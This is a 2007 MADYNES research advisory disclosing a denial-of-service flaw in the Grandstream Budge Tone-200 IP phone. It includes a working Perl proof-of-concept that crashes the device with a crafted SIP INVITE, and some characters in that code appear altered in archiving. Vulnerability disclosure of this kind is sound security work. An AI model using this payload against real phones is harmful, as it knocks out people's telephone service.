From: Radu State (stateloria.fr)
Date: Wed Mar 21 2007 - 06:06:57 CDT

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MADYNES Security Advisory

 <http://madynes.loria.fr/> http://madynes.loria.fr

Title: Grandstream Budge Tone-200 denial of service vulnerability

Release Date:

      21/03/2007

Severity:

      High - Denial of Service

Advisory ID:KIPH3

Hardware: Grandstream Budge Tone-200 IP Phone
http://www.grandstream.com/consumerphones.html

Affected Versions: Program-- 1.1.1.14 Bootloader-- 1.1.1.5

Other versions maybe.

Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any message
with a "WWW-Authenticate" where the "Digest domain" is crafted the device
freezes provoking a DoS.

Impact: A remote individual can remotely crash and perform a Denial of
Service(DoS) attack in all the services provided by the software by sending
one crafted SIP INVITE message. This is conceptually similar to the "ping of
death".

Resolution: The vendor was contacted at multiple times, the complete report
was sent, but no feedback whatsoever resulted.

Vulnerability Description: the device reboots after a crafted INVITE message
had been sent.

Configuration of our device:

Software Version: Program-- 1.1.1.14 Bootloader-- 1.1.1.5

IP-Address obtained by DHCP as 192.168.1.105

The configuration is the default

Vulnerability:

After sending a crafted INVITE, CANCEL or any message with a
"WWW-Authenticate" where the "Digest domain" is crafted the device freezes
provoking a DoS.

Exploit:

To run the exploit the file invite_grandstream.pl should be launched
(assuming our configurations) as:

perl invite_grandstream.pl 192.168.1.105 5060 Fosforito

Proof of Concept Code:

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

$AUTH = "WWW-Authenticate: Digest
domain=\"/-+:\=\$\%D6\$;\$=;=\$=\$,\\$.=;\;;,&&+:::=\/2\$&;6+;+=\%A5==;\
:=;\$&\%A3:u,\=\;&;\+::+&;+,,&/&\=,;=&:&,=&:;:;;K+&\=\%DA*\$;\&+&:;/=
=\%37:\%A6;,\\%ED,:=:\,;\%DA;&\$)\$+=;+:\%FE\$:\;&=,W;,g\%EF;\%FB:+\O\$+
\%AF+;+:,&=\%CA\%EA;\$,\+/;\,-;:;,P&\;_\$:\%C7&+&/!,\%EE\$:,\:;;\&\,+,
z\\$;\\\$\$::\/=,\$3\%ED=\+\%AE/=&\;;\$;&\$\%FE:\;\$+:\$\%EB\$=&:;&K&
;:\\%EA,=\%BA6\%21;=&:\$\"\r\n";

$msg = "INVITE sip:$ARGV[2]\$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4bK056a27e7;rport\r\nFrom:
<sip:tucu\192.168.1.2>;tag=as011d1185\r\nTo:
<sip:$ARGV[2]\$ARGV[0]>;$TOTAG\r\n$AUTH\CSeq: 6106 INVITE\r\Max-Forwards:
70\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

Credits:

      Humberto J. Abdelnur (Ph.D Student)

      Radu State (Ph.D)

      Olivier Festor (Ph.D)

      This vulnerability was identified by the Madynes research team at
INRIA

      Lorraine, using the Madynes VoIP fuzzer.

       <http://madynes.loria.fr/> http://madynes.loria.fr/

Disclosure Distribution:

      The advisory will be posted on the following websites:

       <http://madynes.loria.fr/> http://madynes.loria.fr website

      The advisory will be posted to the following mailing lists:

      1) full-disclosurelists.grok.org.uk

      2) voipsecvopisa.org

Information about us: Madynes is a research team at INRIA Lorraine working
on VoIP Security assessment, intrusion detection and prevention.

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